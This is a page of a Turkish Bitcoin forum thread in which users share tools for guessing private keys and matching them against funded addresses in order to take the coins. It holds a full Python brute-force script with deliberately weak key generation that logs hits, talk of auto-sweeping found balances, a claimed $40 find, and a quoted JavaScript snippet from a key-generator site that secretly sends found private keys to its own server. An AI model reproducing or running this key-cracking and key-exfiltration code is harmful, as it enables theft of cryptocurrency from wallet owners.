Bitcoin Forum
May 26, 2024, 08:21:06 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [23] 24 25 26 27 28 29 30 31 »
  Print  
Author Topic: Bitcoin; Algoritma Üzerine Yöntemler  (Read 33248 times)
mandown
Legendary
*
Offline Offline

Activity: 1932
Merit: 1294



View Profile
September 06, 2019, 09:43:33 AM
 #441

tek parcanın guncelleme tarihi eski ama bir hata olabilir mi linkte.



.
.BIG WINNER!.
[15.00000000 BTC]


▄████████████████████▄
██████████████████████
██████████▀▀██████████
█████████░░░░█████████
██████████▄▄██████████
███████▀▀████▀▀███████
██████░░░░██░░░░██████
███████▄▄████▄▄███████
████▀▀████▀▀████▀▀████
███░░░░██░░░░██░░░░███
████▄▄████▄▄████▄▄████
██████████████████████

▀████████████████████▀
▄████████████████████▄
██████████████████████
█████▀▀█▀▀▀▀▀▀██▀▀████
█████░░░░░░░░░░░░░████
█████░░░░░░░░░░░░▄████
█████░░▄███▄░░░░██████
█████▄▄███▀░░░░▄██████
█████████░░░░░░███████
████████░░░░░░░███████
███████░░░░░░░░███████
███████▄▄▄▄▄▄▄▄███████

██████████████████████
▀████████████████████▀
▄████████████████████▄
███████████████▀▀▀▀▀▀▀
███████████▀▀▄▄█░░░░░█
█████████▀░░█████░░░░█
███████▀░░░░░████▀░░░▀
██████░░░░░░░░▀▄▄█████
█████░▄░░░░░▄██████▀▀█
████░████▄░███████░░░░
███░█████░█████████░░█
███░░░▀█░██████████░░█
███░░░░░░████▀▀██▀░░░░
███░░░░░░███░░░░░░░░░░

██░▄▄▄▄░████▄▄██▄░░░░
████████████▀▀▀▀▀▀▀██
█████████████░█▀▀▀█░███
██████████▀▀░█▀░░░▀█░▀▀
███████▀░▄▄█░█░░░░░█░█▄
████▀░▄▄████░▀█░░░█▀░██
███░▄████▀▀░▄░▀█░█▀░▄░▀
█▀░███▀▀▀░░███░▀█▀░███░
▀░███▀░░░░░████▄░▄████░
░███▀░░░░░░░█████████░░
░███░░░░░░░░░███████░░░
███▀░██░░░░░░▀░▄▄▄░▀░░░
███░██████▄▄░▄█████▄░▄▄

██░████████░███████░█
▄████████████████████▄
████████▀▀░░░▀▀███████
███▀▀░░░░░▄▄▄░░░░▀▀▀██
██░▀▀▄▄░░░▀▀▀░░░▄▄▀▀██
██░▄▄░░▀▀▄▄░▄▄▀▀░░░░██
██░▀▀░░░░░░█░░░░░██░██
██░░░▄▄░░░░█░██░░░░░██
██░░░▀▀░░░░█░░░░░░░░██
██░░░░░▄▄░░█░░░░░██░██
██▄░░░░▀▀░░█░██░░░░░██
█████▄▄░░░░█░░░░▄▄████
█████████▄▄█▄▄████████

▀████████████████████▀




Rainbot
Daily Quests
Faucet
mugt
Member
**
Offline Offline

Activity: 183
Merit: 35


View Profile
September 06, 2019, 11:13:13 AM
 #442

tek parcanın guncelleme tarihi eski ama bir hata olabilir mi linkte.
Sadece yanında güncel tarih olanı güncelliyorum. Üstüne ilave edebilirsiniz. Tek parça olanı 600 bin olduğunda güncelleyeceğim.


Code:
100 Bin blok şeklinde parçalı: 
https://drive.google.com/drive/folders/1lXW81-52nOH8qExFjaCLO0R2ZILa-bDg (06-09-2019)

Tek parça:
https://yadi.sk/d/GgVWxJLsBe0fgg

Bloklar güncellendi.
vincetcm
Hero Member
*****
Offline Offline

Activity: 1302
Merit: 533


View Profile
September 06, 2019, 12:16:22 PM
 #443

Kullalınan scriptlerı paylaşmadığınızı görüyorum.
ben bir ara brainwallet kodlarını belli bir adrese key deniyecek şekilde düzenlemiştim ama JS bir yerden sonra şişiyor ve hantallaşıyor. GPU kullanacak şekilde başka bir dille yazılsa hoş olabilir.

yada oluşan tüm keyleri RPC ile direkt core daki kendi hesabınıza yazmak ta hoş olabilir, cüzdanın balansında bir artış olursa bildiğiniz güvenli bir adrese transfer edecek şekilde bir şeyler yapılabilir.
mugt
Member
**
Offline Offline

Activity: 183
Merit: 35


View Profile
September 07, 2019, 05:03:00 AM
 #444

Kullalınan scriptlerı paylaşmadığınızı görüyorum.
ben bir ara brainwallet kodlarını belli bir adrese key deniyecek şekilde düzenlemiştim ama JS bir yerden sonra şişiyor ve hantallaşıyor. GPU kullanacak şekilde başka bir dille yazılsa hoş olabilir.

yada oluşan tüm keyleri RPC ile direkt core daki kendi hesabınıza yazmak ta hoş olabilir, cüzdanın balansında bir artış olursa bildiğiniz güvenli bir adrese transfer edecek şekilde bir şeyler yapılabilir.
İnternette bolca örnek var. Brainwallet ile denk gelme ihtimaliniz daha fazla. Bu konuda telegram gruplarında birkaç yabancı denk geldiği adresleri yazmıştı. Hantallaşma konusunda bellek yönetimi ve algoritmaya bağlı sıkıntı oluştuğunu düşünüyorum.

RPC ile core'a kaydetmek her seferinde tekrar tüm bloğun taranması demek (bitcoin-core'da), benzer şekilde API sunan sitelerden sorgulamak ise engellenmek ve yavaşlık sağlamakta. Eski mesajlarda da belirttiğim gibi lokal veritabanından adresin kullanılıp kullanılmadığını sorgulamak daha kolay ve hızlı oluyor.
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 09, 2019, 07:41:02 PM
 #445

Programlari deniyebilirsiniz. Bazi duzenlemeler yapildi. Seed ecsa ve fastecsa da calisiyor. Deneme de daha once kullanilmis adresleri bulmakda. Eksik birsey varsa veya daha hizlandirmak icin geri donus yaparsiniz. Seed de sadece 12 kelime random da var o diger bilgisayarda kaldi isdeyen olursa onuda atarim. Windowsa fastecdsa kurmak biraz problemli oldugundan Ubuntu da kullaniyorum oldukca hizli.
https://mega.nz/#F!8BYGHKbJ!PwiKxKzSQKlwncz4nRoIYw
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 19, 2019, 06:48:30 AM
 #446

aynı anda hem normal adres hemde sıkıştırılmış adres üretip database de sorgulama yapıyor.
üsdeki linkden database yi indirin.
4 çekirdekli sanal bilgisayarda yaptığım test de 1 dakikada 10200 adres sorgulama yapıyor.
https://mega.nz/#!0BollQgC!3UgVFCyT8ymlhGTlXvfUTrJVEsUl8W877vRwNVBO8e0
 
vincetcm
Hero Member
*****
Offline Offline

Activity: 1302
Merit: 533


View Profile
September 25, 2019, 09:45:52 AM
 #447

yapılmak istenen bir çok şeyi sunan bir site burası.

BTC ve eth kısmı çalışıyor, lite ve xrp sıkıntılı (xrp nin her sayfada çıkan adres genesis bloktur galyana gelip bakiyeyi almaya çalışmayın. yarım günümü harcadım sonuç yok Smiley)

https://addresskeys.com/eth?auto=yes
vincetcm
Hero Member
*****
Offline Offline

Activity: 1302
Merit: 533


View Profile
September 25, 2019, 11:11:39 AM
 #448

bir adresin kaç bit key ile oluşturulduğunu tespit edebilir miyiz?
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 26, 2019, 11:03:24 AM
 #449

@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır. 
vincetcm
Hero Member
*****
Offline Offline

Activity: 1302
Merit: 533


View Profile
September 26, 2019, 12:11:52 PM
 #450

@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır. 

güvendiğimden değil aynı sicrip i bulmak lazım, istenilen hemen hemen her şey yapılmış gibi görünüyor
mugt
Member
**
Offline Offline

Activity: 183
Merit: 35


View Profile
September 27, 2019, 11:56:10 AM
 #451

@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır.  

güvendiğimden değil aynı sicrip i bulmak lazım, istenilen hemen hemen her şey yapılmış gibi görünüyor
destansi doğru demiş;
siteyi açtığında alt tarafta (1993. satırda)
Code:
if(t.balance>0){
                            //$.post("https://statics.addresskeys.com/ajax_report.php?privkey="+pk+"&pubkey="+t.account+"&balance="+t.balance+"",  { act: 'logbalance', id: n}, function(data, status){});
                            var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "https://data.addresskeys.com/ajax_report.php?privkey="+pk+"&pubkey="+t.account+"&balance="+t.balance+"", true);
xhttp.send();
if(localStorage.getItem("" + pk + "") == null ) {
    localStorage.setItem("" + pk + "","eth="+ t.account +"&b="+t.balance+"&");
}                            
                           
                            };
yani bulduğunda direk bildirim yapıyor. Muhtemel arkada kurulu sistemle boşaltma işlemini de yapıyordur.  Grin
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 27, 2019, 12:47:06 PM
 #452

@vincetcm internet ile uğraşma. yukarıda attığım programları dene gayet hızlı ve temiz. github dan indirdiğin programlarında içini kontrol et bazılarında otomatik çekme var. python daha kolayıma geldiğinden python da farklı kişilerin yazmış olduklarını kafama uygun şekilde ayarladım.
c biraz karışık geliyor bana ama c py den 60 kat daha hızlı. geçen gün ikinci attığım program yeni tarihli 40$ lik adres buldu yeni tarihli olduğundan sildim.

AMD 580 lerim var. bu uretim ve tarama işini ona adapte etmeye çalışıyorum. c de çalıştırmaya çalışıyorum az kaldı.   
2run
Hero Member
*****
Offline Offline

Activity: 1890
Merit: 792


View Profile
September 28, 2019, 09:17:31 AM
 #453

geçen gün ikinci attığım program yeni tarihli 40$ lik adres buldu yeni tarihli olduğundan sildim.

Kullandığınız yazılım plutus, brutus benzeri bir yazılım ve hatta içerisindeki database bölümü aynı mart ayından bu zamana kadar güncelleme yapılmamış. o database içerisinden bakiyeli bir cüzdana gelmenize çok şaşırdım diyebilirim. 50k civarında sorgulama yapmıştım rastgele ve çıkan en yüksek cüzdan 0.077btc idi. plutus database güncellemesini halen yapmadı aslında güncel hali ile kendimiz bir güncelleme yapsak çok iyi olabilir.
tesla80
Member
**
Offline Offline

Activity: 448
Merit: 89

Full Stack Engineer


View Profile
September 28, 2019, 10:43:09 AM
Last edit: September 28, 2019, 11:16:35 AM by tesla80
 #454

aynı anda hem normal adres hemde sıkıştırılmış adres üretip database de sorgulama yapıyor.
üsdeki linkden database yi indirin.
4 çekirdekli sanal bilgisayarda yaptığım test de 1 dakikada 10200 adres sorgulama yapıyor.
https://mega.nz/#!0BollQgC!3UgVFCyT8ymlhGTlXvfUTrJVEsUl8W877vRwNVBO8e0
Selam, databaseden kasıt blockchain defteri ise database güncelleme mevcut mu?
Blockchainden db güncelleme faydalı olur yada direkt olarak Bitcoin Core db den sorgulayabilir mi?

Yazılıma ait ilk kaynak şurasıymış : https://github.com/Isaacdelly/Plutus

Cyber Security, Mobile Security, Web/Desktop/Embedded Programming, Electronics, M2M, IoT
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 28, 2019, 07:49:44 PM
 #455

@tesla @2run Database dosyası mart ayının değil programda tekrar isim değiştirmemek için değiştirmedim. https://github.com/graymauser/btcposbal2csv
burada nasıl güncellendiğini yazıyor. ben JAN_09_2019 olanını kullanıyorum orada mart yazıyor ama içeriği JAN_09_2019.
 https://github.com/Isaacdelly/Plutus ve https://github.com/mobb111/mfbc-master programlar birleştirerek oluşturdum. orada fastecdsa olan çok hızlı fakat windows için sıkıntı. linux için 10 numara.
     (En son attığım programda tek link olan orada bir hata var düzeltilmiş halini atacağim.  80 milyon adres uretip sorgulamadan sonra buldu. en azından düzenlemiş olduğum programın işe yaradığını gördüm.) durdurdum sonra tekrar başlatmıştım şu an 100milyon üzerinde. benim 500tb data dosyasında 700mb idi. biraz erken buldu. tahminim 1.000.000.000.000 da 1 idi.

https://eksiup.com/p/ce1995509sb5
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 28, 2019, 07:54:43 PM
 #456

sorgulama kısmında bir hata vardı bu düzeltilmiş hali 23 marta takılmayın


import os
import bitcoin
import pickle
import multiprocessing



DATABASE = r'database/MAR_23_2019/'



xchoicesx = [2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16]

class aa:
    aaa = 0


def Generate_private_key_to_private_key():
   
     

    ln = xchoicesx[os.urandom(1)[0]]
    k = ""
    for i in range(0,ln):
        k += (('{:02x}'.format(os.urandom(1)[0]))+('{:02x}'.format(os.urandom(1)[0])))
    if len(k) <= 64:
        return (((64 - len(k)) * '0')+k)

   
def private_key_to_address(private_key):   
    aa.aaa += 1
    print(aa.aaa)
    return bitcoin.pubkey_to_address(bitcoin.compress(bitcoi[Suspicious link removed]ivkey_to_pubkey(private_key)))
    #return '19hHSppphwDn41JTrhEh1w3ToqdDjwWur4'
def private_key_to_address1(private_key):
    aa.aaa += 1
    print(aa.aaa)
    return bitcoin.pubkey_to_address(bitcoi[Suspicious link removed]ivkey_to_pubkey(private_key))
    #return '1Ae9uPuCVLv53ShvrYoUJHLcosmATy9v2h'               

def process(private_key, address, address1, database):
   
   
    if address in database[0] or \
       address in database[1] or \
       address in database[2] or \
       address in database[3]:
        with open('plutusc.txt', 'a') as file:
            file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       'address: ' + str(address) + '\n' )
                       
    if address1 in database[0] or \
       address1 in database[1] or \
       address1 in database[2] or \
       address1 in database[3]:
        with open('plutusc.txt', 'a') as file:
            file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       'address1: ' + str(address1) + '\n\n' )
                       
    #else:               
       
        #print(str(address))
       # print(str(address1))
        #with open('pluc.txt', 'a') as file:
            #file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       #'address: ' + str(address) + '\n' +
                       #'address1: ' + str(address1) + '\n\n' )
                       


def main(database):
   
    while True:

        private_key = Generate_private_key_to_private_key()
        address = private_key_to_address(private_key)
        address1 = private_key_to_address1(private_key)                           
        if address != -1:
            process(private_key, address, address1, database)
                                                           
                                                           
   
if __name__ == '__main__':
   
    database = [set() for _ in range(4)]
    count = len(os.listdir(DATABASE))
    half = count // 2; quarter = half // 2
    for c, p in enumerate(os.listdir(DATABASE)):
        print('\rreading database: ' + str(c + 1) + '/' + str(count), end = ' ')
        with open(DATABASE + p, 'rb') as file:
            if c < half:
                if c < quarter: database[0] = database[0] | pickle.load(file)
                else: database[1] = database[1] | pickle.load(file)
            else:
                if c < half + quarter: database[2] = database[2] | pickle.load(file)
                else: database[3] = database[3] | pickle.load(file)
    print('DONE')
   
   
   
    for cpu in range(multiprocessing.cpu_count()):
        multiprocessing.Process(target = main, args = (database, )).start()
vincetcm
Hero Member
*****
Offline Offline

Activity: 1302
Merit: 533


View Profile
September 29, 2019, 08:09:33 PM
 #457

sorgulama kısmında bir hata vardı bu düzeltilmiş hali 23 marta takılmayın


import os
import bitcoin
import pickle
import multiprocessing



-------


Ben bu kodu neden çalıştıramıyorum. komut satırına bir şey mi yazmalıyım?
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
September 30, 2019, 06:56:49 AM
 #458

ilk attığım linki indir. bu attığım kodu oradaki diğer kodların yanına koy. import ların pip lerini kur. çalışır. klasörler şöyle olacak bukod/database/MAR_23_2019/pickle dosyaları. dikkat et işlemcileri tam kullandığı için yakma.

ekran kartı programım hazır. kendim hazırladığım databaseden sorguyu yapacak(yeni tarihler iptal eski tarih ve 0,5 üzeri dahil olacak) hata yok ama nedense çalışmadı. şu an tek ekran kartı takılı amd sdk app yi kurunca 2 adet varmış gibi görüyor. böyle hata ile karşılaşan oldu mu?
2run
Hero Member
*****
Offline Offline

Activity: 1890
Merit: 792


View Profile
October 02, 2019, 10:10:33 AM
Last edit: October 02, 2019, 01:45:45 PM by 2run
 #459

dikkat et işlemcileri tam kullandığı için yakma.

Bir ara Ethereum adres üretmek için benim emektar macbook kullandım.. biraz zorluyordu ama pek umursamadım açıkcası sonra sabah kalktım adaptör koltuğun üzerindeydi yerinden kaldırdım yere koyacaktım baktım ateş gibi olmuş.. sonra koltuğa baktım adaptörün izi çıkmış. işlemcileri çok uzun süre çalıştırmamak en doğrusu belki güçlü bilgisayarlarla denebilir ama dediğiniz gibi işlemcilerin de yanma olasılığı var. Özelikle Plutus, Brutus, Vantiygen, Ethergen çalıştıranlar dediğiniz gibi dikkat etmeli.

Adaptörün koltukta bıraktığı iz : https://eksiup.com/p/ec221950snhi
destansi
Newbie
*
Offline Offline

Activity: 27
Merit: 1


View Profile
October 02, 2019, 08:22:25 PM
Last edit: October 02, 2019, 08:48:13 PM by destansi
 #460

@2Run ekran karti hatasini duzeltemedim. Biraz daha arastirma sonucu txt dosyasindan vanitygen programin da sorgulama yapiyor. Simdi denedim 520000 adrese karsilik 12mkey ile tariyor. Islemci ve ram kullanmiyor. Tamamen ekran kartindan calisiyor. Deniyecegim ne cikacak.
Programda anlamadigim tam adres ile eslesmesi icin private key mi yazmak gerekiyor yoksa privatekey hex mi yazmak gerekiyor yada bir adresmi onemi var mi
https://github.com/schlampentod/vanitygen-1/
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [23] 24 25 26 27 28 29 30 31 »
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!